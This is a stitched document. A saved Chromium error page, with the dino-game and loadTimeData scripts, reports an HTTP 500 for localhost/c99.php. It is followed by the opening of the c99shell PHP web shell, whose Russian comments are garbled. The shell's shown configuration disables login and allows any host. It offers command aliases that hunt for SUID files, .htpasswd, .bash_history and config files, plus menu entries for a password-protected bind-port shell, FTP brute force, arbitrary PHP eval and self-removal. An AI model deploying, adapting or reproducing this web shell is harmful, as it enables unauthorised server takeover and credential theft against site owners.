        this.xPos[0], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);

    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[1], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);
  },

  /**
   * Update the x position of an indivdual piece of the line.
   * @param {number} pos Line position.
   * @param {number} increment
   */
  updateXPos(pos, increment) {
    const line1 = pos;
    const line2 = pos === 0 ? 1 : 0;

    this.xPos[line1] -= increment;
    this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;

    if (this.xPos[line1] <= -this.dimensions.WIDTH) {
      this.xPos[line1] += this.dimensions.WIDTH * 2;
      this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
      this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
    }
  },

  /**
   * Update the horizon line.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    const increment = Math.floor(speed * (FPS / 1000) * deltaTime);

    if (this.xPos[0] <= 0) {
      this.updateXPos(0, increment);
    } else {
      this.updateXPos(1, increment);
    }
    this.draw();
  },

  /**
   * Reset horizon to the starting position.
   */
  reset() {
    this.xPos[0] = 0;
    this.xPos[1] = this.dimensions.WIDTH;
  },
};


//******************************************************************************

/**
 * Horizon background class.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Sprite positioning.
 * @param {Object} dimensions Canvas dimensions.
 * @param {number} gapCoefficient
 * @constructor
 */
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.config = Horizon.config;
  this.dimensions = dimensions;
  this.gapCoefficient = gapCoefficient;
  this.obstacles = [];
  this.obstacleHistory = [];
  this.horizonOffsets = [0, 0];
  this.cloudFrequency = this.config.CLOUD_FREQUENCY;
  this.spritePos = spritePos;
  this.nightMode = null;
  this.altGameModeActive = false;

  // Cloud
  this.clouds = [];
  this.cloudSpeed = this.config.BG_CLOUD_SPEED;

  // Background elements
  this.backgroundEls = [];
  this.lastEl = null;
  this.backgroundSpeed = this.config.BG_CLOUD_SPEED;

  // Horizon
  this.horizonLine = null;
  this.horizonLines = [];
  this.init();
}


/**
 * Horizon config.
 * @enum {number}
 */
Horizon.config = {
  BG_CLOUD_SPEED: 0.2,
  BUMPY_THRESHOLD: .3,
  CLOUD_FREQUENCY: .5,
  HORIZON_HEIGHT: 16,
  MAX_CLOUDS: 6,
};


Horizon.prototype = {
  /**
   * Initialise the horizon. Just add the line and a cloud. No obstacles.
   */
  init() {
    Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
    this.addCloud();
    // Multiple Horizon lines
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }

    this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
        this.dimensions.WIDTH);
  },

  /**
   * Update obstacle definitions based on the speed of the game.
   */
  adjustObstacleSpeed: function() {
    for (let i = 0; i < Obstacle.types.length; i++) {
      if (Runner.slowDown) {
        Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
        Obstacle.types[i].minGap *= 1.5;
        Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;

        // Convert variable y position obstacles to fixed.
        if (typeof (Obstacle.types[i].yPos) == 'object') {
          Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
          Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
        }
      }
    }
  },

  /**
   * Update sprites to correspond to change in sprite sheet.
   * @param {number} spritePos
   */
  enableAltGameMode: function(spritePos) {
    // Clear existing horizon objects.
    this.clouds = [];
    this.backgroundEls = [];

    this.altGameModeActive = true;
    this.spritePos = spritePos;

    Obstacle.types = Runner.spriteDefinition.OBSTACLES;
    this.adjustObstacleSpeed();

    Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
    Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;

    BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;

    this.horizonLines = [];
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }
    this.reset();
  },

  /**
   * @param {number} deltaTime
   * @param {number} currentSpeed
   * @param {boolean} updateObstacles Used as an override to prevent
   *     the obstacles from being updated / added. This happens in the
   *     ease in section.
   * @param {boolean} showNightMode Night mode activated.
   */
  update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
    this.runningTime += deltaTime;

    if (this.altGameModeActive) {
      this.updateBackgroundEls(deltaTime, currentSpeed);
    }

    for (let i = 0; i < this.horizonLines.length; i++) {
      this.horizonLines[i].update(deltaTime, currentSpeed);
    }

    if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
      this.nightMode.update(showNightMode);
      this.updateClouds(deltaTime, currentSpeed);
    }

    if (updateObstacles) {
      this.updateObstacles(deltaTime, currentSpeed);
    }
  },

  /**
   * Update background element positions. Also handles creating new elements.
   * @param {number} elSpeed
   * @param {Array<Object>} bgElArray
   * @param {number} maxBgEl
   * @param {Function} bgElAddFunction
   * @param {number} frequency
   */
  updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
    const numElements = bgElArray.length;

    if (numElements) {
      for (let i = numElements - 1; i >= 0; i--) {
        bgElArray[i].update(elSpeed);
      }

      const lastEl = bgElArray[numElements - 1];

      // Check for adding a new element.
      if (numElements < maxBgEl &&
          (this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
          frequency > Math.random()) {
        bgElAddFunction();
      }
    } else {
      bgElAddFunction();
    }
  },

  /**
   * Update the cloud positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateClouds(deltaTime, speed) {
    const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
    this.updateBackgroundEl(
        elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
        this.cloudFrequency);

    // Remove expired elements.
    this.clouds = this.clouds.filter((obj) => !obj.remove);
  },

  /**
   * Update the background element positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateBackgroundEls(deltaTime, speed) {
    this.updateBackgroundEl(
        deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
        this.addBackgroundEl.bind(this), this.cloudFrequency);

    // Remove expired elements.
    this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
  },

  /**
   * Update the obstacle positions.
   * @param {number} deltaTime
   * @param {number} currentSpeed
   */
  updateObstacles(deltaTime, currentSpeed) {
    const updatedObstacles = this.obstacles.slice(0);

    for (let i = 0; i < this.obstacles.length; i++) {
      const obstacle = this.obstacles[i];
      obstacle.update(deltaTime, currentSpeed);

      // Clean up existing obstacles.
      if (obstacle.remove) {
        updatedObstacles.shift();
      }
    }
    this.obstacles = updatedObstacles;

    if (this.obstacles.length > 0) {
      const lastObstacle = this.obstacles[this.obstacles.length - 1];

      if (lastObstacle && !lastObstacle.followingObstacleCreated &&
          lastObstacle.isVisible() &&
          (lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
          this.dimensions.WIDTH) {
        this.addNewObstacle(currentSpeed);
        lastObstacle.followingObstacleCreated = true;
      }
    } else {
      // Create new obstacles.
      this.addNewObstacle(currentSpeed);
    }
  },

  removeFirstObstacle() {
    this.obstacles.shift();
  },

  /**
   * Add a new obstacle.
   * @param {number} currentSpeed
   */
  addNewObstacle(currentSpeed) {
    const obstacleCount =
        Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
            (Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
             this.altGameModeActive) ?
        Obstacle.types.length - 1 :
        Obstacle.types.length - 2;
    const obstacleTypeIndex =
        obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
    const obstacleType = Obstacle.types[obstacleTypeIndex];

    // Check for multiples of the same type of obstacle.
    // Also check obstacle is available at current speed.
    if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
        currentSpeed < obstacleType.minSpeed) {
      this.addNewObstacle(currentSpeed);
    } else {
      const obstacleSpritePos = this.spritePos[obstacleType.type];

      this.obstacles.push(new Obstacle(
          this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
          this.gapCoefficient, currentSpeed, obstacleType.width,
          this.altGameModeActive));

      this.obstacleHistory.unshift(obstacleType.type);

      if (this.obstacleHistory.length > 1) {
        this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
      }
    }
  },

  /**
   * Returns whether the previous two obstacles are the same as the next one.
   * Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
   * @return {boolean}
   */
  duplicateObstacleCheck(nextObstacleType) {
    let duplicateCount = 0;

    for (let i = 0; i < this.obstacleHistory.length; i++) {
      duplicateCount =
          this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
    }
    return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
  },

  /**
   * Reset the horizon layer.
   * Remove existing obstacles and reposition the horizon line.
   */
  reset() {
    this.obstacles = [];
    for (let l = 0; l < this.horizonLines.length; l++) {
      this.horizonLines[l].reset();
    }

    this.nightMode.reset();
  },

  /**
   * Update the canvas width and scaling.
   * @param {number} width Canvas width.
   * @param {number} height Canvas height.
   */
  resize(width, height) {
    this.canvas.width = width;
    this.canvas.height = height;
  },

  /**
   * Add a new cloud to the horizon.
   */
  addCloud() {
    this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
        this.dimensions.WIDTH));
  },

  /**
   * Add a random background element to the horizon.
   */
  addBackgroundEl() {
    const backgroundElTypes =
        Object.keys(Runner.spriteDefinition.BACKGROUND_EL);

    if (backgroundElTypes.length > 0) {
      let index = getRandomNum(0, backgroundElTypes.length - 1);
      let type = backgroundElTypes[index];

      // Add variation if available.
      while (type == this.lastEl && backgroundElTypes.length > 1) {
        index = getRandomNum(0, backgroundElTypes.length - 1);
        type = backgroundElTypes[index];
      }

      this.lastEl = type;
      this.backgroundEls.push(new BackgroundEl(
          this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
          type));
    }
  },
};
</script>
  <script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/* @const
 * Add matching sprite definition and config to Runner.spriteDefinitionByType.
 */
const GAME_TYPE = [];

/**
 * Obstacle definitions.
 * minGap: minimum pixel space between obstacles.
 * multipleSpeed: Speed at which multiples are allowed.
 * speedOffset: speed faster / slower than the horizon.
 * minSpeed: Minimum speed which the obstacle can make an appearance.
 *
 * @typedef {{
 *   type: string,
 *   width: number,
 *   height: number,
 *   yPos: number,
 *   multipleSpeed: number,
 *   minGap: number,
 *   minSpeed: number,
 *   collisionBoxes: Array<CollisionBox>,
 * }}
 */
let ObstacleType;

/**
 * T-Rex runner sprite definitions.
 */
Runner.spriteDefinitionByType = {
  original: {
    LDPI: {
      BACKGROUND_EL: {x: 86, y: 2},
      CACTUS_LARGE: {x: 332, y: 2},
      CACTUS_SMALL: {x: 228, y: 2},
      OBSTACLE_2: {x: 332, y: 2},
      OBSTACLE: {x: 228, y: 2},
      CLOUD: {x: 86, y: 2},
      HORIZON: {x: 2, y: 54},
      MOON: {x: 484, y: 2},
      PTERODACTYL: {x: 134, y: 2},
      RESTART: {x: 2, y: 68},
      TEXT_SPRITE: {x: 655, y: 2},
      TREX: {x: 848, y: 2},
      STAR: {x: 645, y: 2},
      COLLECTABLE: {x: 2, y: 2},
      ALT_GAME_END: {x: 121, y: 2},
    },
    HDPI: {
      BACKGROUND_EL: {x: 166, y: 2},
      CACTUS_LARGE: {x: 652, y: 2},
      CACTUS_SMALL: {x: 446, y: 2},
      OBSTACLE_2: {x: 652, y: 2},
      OBSTACLE: {x: 446, y: 2},
      CLOUD: {x: 166, y: 2},
      HORIZON: {x: 2, y: 104},
      MOON: {x: 954, y: 2},
      PTERODACTYL: {x: 260, y: 2},
      RESTART: {x: 2, y: 130},
      TEXT_SPRITE: {x: 1294, y: 2},
      TREX: {x: 1678, y: 2},
      STAR: {x: 1276, y: 2},
      COLLECTABLE: {x: 4, y: 4},
      ALT_GAME_END: {x: 242, y: 4},
    },
    MAX_GAP_COEFFICIENT: 1.5,
    MAX_OBSTACLE_LENGTH: 3,
    HAS_CLOUDS: 1,
    BOTTOM_PAD: 10,
    TREX: {
      WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
      WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
      RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
      RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
      JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
      CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
      COLLISION_BOXES: [
        new CollisionBox(22, 0, 17, 16),
        new CollisionBox(1, 18, 30, 9),
        new CollisionBox(10, 35, 14, 8),
        new CollisionBox(1, 24, 29, 5),
        new CollisionBox(5, 30, 21, 4),
        new CollisionBox(9, 34, 15, 4),
      ],
    },
    /** @type {Array<ObstacleType>} */
    OBSTACLES: [
      {
        type: 'CACTUS_SMALL',
        width: 17,
        height: 35,
        yPos: 105,
        multipleSpeed: 4,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 7, 5, 27),
          new CollisionBox(4, 0, 6, 34),
          new CollisionBox(10, 4, 7, 14),
        ],
      },
      {
        type: 'CACTUS_LARGE',
        width: 25,
        height: 50,
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})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @fileoverview
 * NOTE: This file is deprecated, and provides only the minimal LoadTimeData
 * functions for places in the code still not using JS modules. Use
 * load_time_data.m.js in all new code.
 *
 * This file defines a singleton which provides access to all data
 * that is available as soon as the page's resources are loaded (before DOM
 * content has finished loading). This data includes both localized strings and
 * any data that is important to have ready from a very early stage (e.g. things
 * that must be displayed right away).
 *
 * Note that loadTimeData is not guaranteed to be consistent between page
 * refreshes (https://crbug.com/740629) and should not contain values that might
 * change if the page is re-opened later.
 */

/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;

class LoadTimeData {
  constructor() {
    /** @type {?Object} */
    this.data_ = null;
  }

  /**
   * Sets the backing object.
   *
   * Note that there is no getter for |data_| to discourage abuse of the form:
   *
   *     var value = loadTimeData.data()['key'];
   *
   * @param {Object} value The de-serialized page data.
   */
  set data(value) {
    expect(!this.data_, 'Re-setting data.');
    this.data_ = value;
  }

  /**
   * @param {string} id An ID of a value that might exist.
   * @return {boolean} True if |id| is a key in the dictionary.
   */
  valueExists(id) {
    return id in this.data_;
  }

  /**
   * Fetches a value, expecting that it exists.
   * @param {string} id The key that identifies the desired value.
   * @return {*} The corresponding value.
   */
  getValue(id) {
    expect(this.data_, 'No data. Did you remember to include strings.js?');
    const value = this.data_[id];
    expect(typeof value !== 'undefined', 'Could not find value for ' + id);
    return value;
  }

  /**
   * As above, but also makes sure that the value is a string.
   * @param {string} id The key that identifies the desired string.
   * @return {string} The corresponding string value.
   */
  getString(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'string');
    return /** @type {string} */ (value);
  }

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   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument.
   * @param {string} id The ID of the string we want.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  getStringF(id, var_args) {
    const value = this.getString(id);
    if (!value) {
      return '';
    }

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    args[0] = value;
    return this.substituteString.apply(this, args);
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   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument. Any standalone $ signs must be escaped as
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   * @param {string} label The label to substitute through.
   *     This is not an resource ID.
   * @param {...(string|number)} var_args The extra values to include in the
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   * @return {string} The formatted string.
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  substituteString(label, var_args) {
    const varArgs = arguments;
    return label.replace(/\$(.|$|\n)/g, function(m) {
      expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
      return m === '$$' ? '$' : varArgs[m[1]];
    });
  }

  /**
   * As above, but also makes sure that the value is a boolean.
   * @param {string} id The key that identifies the desired boolean.
   * @return {boolean} The corresponding boolean value.
   */
  getBoolean(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'boolean');
    return /** @type {boolean} */ (value);
  }

  /**
   * As above, but also makes sure that the value is an integer.
   * @param {string} id The key that identifies the desired number.
   * @return {number} The corresponding number value.
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  getInteger(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'number');
    expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
    return /** @type {number} */ (value);
  }

  /**
   * Override values in loadTimeData with the values found in |replacements|.
   * @param {Object} replacements The dictionary object of keys to replace.
   */
  overrideValues(replacements) {
    expect(
        typeof replacements === 'object',
        'Replacements must be a dictionary object.');
    for (const key in replacements) {
      this.data_[key] = replacements[key];
    }
  }
}

/**
 * Checks condition, throws error message if expectation fails.
 * @param {*} condition The condition to check for truthiness.
 * @param {string} message The message to display if the check fails.
 */
function expect(condition, message) {
  if (!condition) {
    throw new Error(
        'Unexpected condition on ' + document.location.href + ': ' + message);
  }
}

/**
 * Checks that the given value has the given type.
 * @param {string} id The id of the value (only used for error message).
 * @param {*} value The value to check the type on.
 * @param {string} type The type we expect |value| to be.
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function expectIsType(id, value, type) {
  expect(
      typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}

expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();

// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;

console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/c99.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/c99.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>

Original PHP code

<?
//add php tags before usage
/*
******************************************************************************************************
*
*					c99shell.php v.1.0 beta (?? 21.05.2005)
*							Freeware license.
*								� CCTeaM.
*  c99shell - ????-???????? ????? www-???????, "?????????" ??? ??????.
*  ?? ?????? ????????? ??????? ????????? ?????? ?? ???????? ????????? ????????:
   http://ccteam.ru/releases/c99shell
*
*  WEB: http://ccteam.ru
*  ICQ UIN #: 656555
* 
*  ???????????:
*  + ?????????? ?????????? ? ?????????? (ftp, samba *) ???????/???????, ??????????
*    ??????????? ?????????? ?????? ? ?????
*    (?????????????? ?????????????/??????????????? ????? tar *)
*    ??????????? ????? (???????? ?????? ??????)
*    modify-time ? access-time ? ?????? ?? ???????? ??? ?????????????? (????./???. ?????????? $filestealth)
*  + ??????????? SQL-???????? ?? ?????????? phpmyadmin,
     ????????/????????/?????????????? ??/??????, ???????? ?????? ????? ????? ? mysql
*  + ?????????? ?????????? unix-??????.
*  + ??????? (?????? ???????????) ?????????? shell-?????? (????? ???????, ????? ?????????????)
*  + ?????????? ????????????? PHP-????
*  + ?????????? ?????? ????? md5, unix-md5, sha1, crc32, base64
*  + ??????? ????????? ?????? ???????????? ??
*  + ??????? ftp-???????????? ?? ?????? login;login ?? /etc/passwd (?????? ???? ?????? ? 1/100 ?????????)
*    ???????????? ?????, ??????????, ????????? ???????? ??? ??/?????????, ?????????? ?????????? SQL)
*  + ?????? "?????" include: ????????????? ???? ?????????? ? ????????????? ? ????????? ?? ? ?????? (?????????)
     ????? ????? ???????? $surl (??????? ??????) ??? ????? ???????????? (?????????????) ??? ? ????? cookie "c99sh_surl",
     ???? ????-?????? ???????? $set_surl ? cookie "set_surl"
*  + ??????????? "?????????" /bin/bash ?? ???????????? ???? ? ???????????? ???????,
*    ??? ??????? back connect (???????????? ???????????? ??????????, ? ????????? ????????? ??? ??????? NetCat).
*  + ??????????? ???????? ????-???????? ???????
*  + ????????????????? ???????? ????????? ? ???????????? ? ????????? ?????? (????? mail())

*  * - ????? ????????? ??????? ?? ???????????? PHP
*
*	? ????? ????? ??????? ??? ???!
*
*   ????????? ?????????:
*  ~ ???????? sql-?????????
*  ~ ?????????? ??????????? ?????????? ??????
*
*  ~-~ ?????? ??? ???? ???????? ????????????, ???????? ?????????? ? ?????????? (???? ? ????? ??????????????!)
       ? ICQ UIN #656555 ???? ????? ?????? "feedback", ????? ??????????? ??? ??????????? ? ?????????.
*
*  Last modify: 21.05.2005
*
*  � Captain Crunch Security TeaM. Coded by tristram
*
******************************************************************************************************
*/

//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 beta (21.05.2005)"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.

//Authentication

$login = "c99"; //login
//DON'T FORGOT ABOUT CHANGE PASSWORD!!!
$pass = "c99"; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

	/*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/	$login = false; //turn off authentification

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";

$autoupdate = false; //Automatic updating?
$updatenow = false; //If true, update now
$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server

$filestealth = false; //if true, don't change modify&access-time

$donated_html = "<center><b>Owned by hacker</b></center>";
		/* If you publish free shell and you wish
		add link to your site or any other information,
		put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start directory
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "user@host.tld"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = true; //If true then save sorting-type.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$exeftypes  = array(
 getenv("PHPRC")." %f%"=>array("php","php3","php4"),
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
	0 - files and folders (as default),
	1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if true and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
									 // array (i=>{letter} ...); string {letter} - letter of a drive
									// Set as false or for turn off.
$hexdump_lines = 8;	// lines in hex preview file
$hexdump_rows = 24;	// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c99";	  // default password for binding
$bindport_port = "11457"; // default port for binding

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable directories and files", "find / -perm -2 -ls"),
  array("find all writable directories and files in current dir", "find . -perm -2 -ls"),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  array("list file attributes on a Linux second extended file system", "lsattr -va"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$sess_cookie = "c99shvars"; // Cookie-variable name

$usefsbuff = true; //Buffer-function
$copy_unset = false; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
 array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
 array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
 array("<b>Bind</b>",$surl."act=bind&d=%d"),
 array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"),
 array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>Sec.</b>",$surl."act=security&d=%d"),
 array("<b>SQL</b>",$surl."act=sql&d=%d"),
 array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
 array("<b>Self remove</b>",$surl."act=selfremove"),
 array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

//END CONFIGURATION


